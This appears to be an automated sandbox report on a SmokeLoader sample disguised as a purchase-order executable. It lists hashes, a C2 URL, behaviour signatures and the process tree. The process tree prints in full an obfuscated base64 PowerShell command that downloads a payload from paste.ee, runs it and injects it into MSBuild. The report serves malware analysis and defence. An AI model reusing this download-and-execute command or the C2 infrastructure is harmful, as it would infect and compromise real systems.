Analysis

  • max time kernel
    44s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14-08-2020 08:27

General

  • Target

    Purchase Order 21PTAES2110-2.pif.exe

  • Size

    173KB

  • MD5

    12f34f9b5d3817801893ee1aad6a5ef3

  • SHA1

    d0e8e93451aaea3571419169e5fd73a5f2a31cc2

  • SHA256

    966c1a5412af27dde07c13cbb17b743eec085d16aeac60849af71d376d1452ac

  • SHA512

    5fd48762f0c164f3a38530cf98655d3151ccac4c3d7abad4e02285bb8946817356b10d1e30c052d6f0012a85ed8257f413aaff3397877d3dc36b9bb7f8a2d606

Malware Config

Extracted

Family

smokeloader

Version

2018

C2

http://5by80.com/1/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blacklisted process makes network request 1 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Purchase Order 21PTAES2110-2.pif.exe
    "C:\Users\Admin\AppData\Local\Temp\Purchase Order 21PTAES2110-2.pif.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AVwBhAHkAdQBXACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBZAFQAaQBGAFIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
      2⤵
      • Blacklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • Maps connected drives based on registry
        • Suspicious behavior: MapViewOfSection
        PID:2020

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a1733a9-c78a-41f9-ba49-7e78bc3e775b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • memory/1236-41-0x0000000002210000-0x0000000002211000-memory.dmp

    Filesize

    4KB

  • memory/1516-9-0x0000000002160000-0x0000000002161000-memory.dmp

    Filesize

    4KB

  • memory/1516-5-0x00000000055C0000-0x00000000055C1000-memory.dmp

    Filesize

    4KB

  • memory/1516-60-0x0000000007730000-0x0000000007731000-memory.dmp

    Filesize

    4KB

  • memory/1516-59-0x00000000076A0000-0x00000000076A1000-memory.dmp

    Filesize

    4KB

  • memory/1516-51-0x0000000006460000-0x0000000006461000-memory.dmp

    Filesize

    4KB

  • memory/1516-1-0x00000000000C0000-0x00000000000C1000-memory.dmp

    Filesize

    4KB

  • memory/1516-3-0x0000000005D10000-0x0000000005D11000-memory.dmp

    Filesize

    4KB

  • memory/1516-4-0x00000000006C0000-0x00000000006C1000-memory.dmp

    Filesize

    4KB

  • memory/1516-6-0x0000000004960000-0x0000000004961000-memory.dmp

    Filesize

    4KB

  • memory/1516-7-0x0000000005160000-0x0000000005161000-memory.dmp

    Filesize

    4KB

  • memory/1516-11-0x0000000004210000-0x0000000004211000-memory.dmp

    Filesize

    4KB

  • memory/1516-10-0x0000000004A50000-0x0000000004A51000-memory.dmp

    Filesize

    4KB

  • memory/1516-0-0x0000000074820000-0x0000000074F0E000-memory.dmp

    Filesize

    6.9MB

  • memory/1516-8-0x00000000049A0000-0x00000000049A1000-memory.dmp

    Filesize

    4KB

  • memory/1888-12-0x0000000000000000-mapping.dmp

  • memory/1888-35-0x0000000001D10000-0x0000000001D1A000-memory.dmp

    Filesize

    40KB

  • memory/1888-33-0x0000000006310000-0x0000000006311000-memory.dmp

    Filesize

    4KB

  • memory/1888-25-0x0000000005790000-0x0000000005791000-memory.dmp

    Filesize

    4KB

  • memory/1888-20-0x00000000056E0000-0x00000000056E1000-memory.dmp

    Filesize

    4KB

  • memory/1888-13-0x0000000074820000-0x0000000074F0E000-memory.dmp

    Filesize

    6.9MB

  • memory/2020-39-0x00000000000C0000-0x00000000000D5000-memory.dmp

    Filesize

    84KB

  • memory/2020-38-0x0000000000402931-mapping.dmp

  • memory/2020-37-0x0000000000400000-0x0000000000409000-memory.dmp

    Filesize

    36KB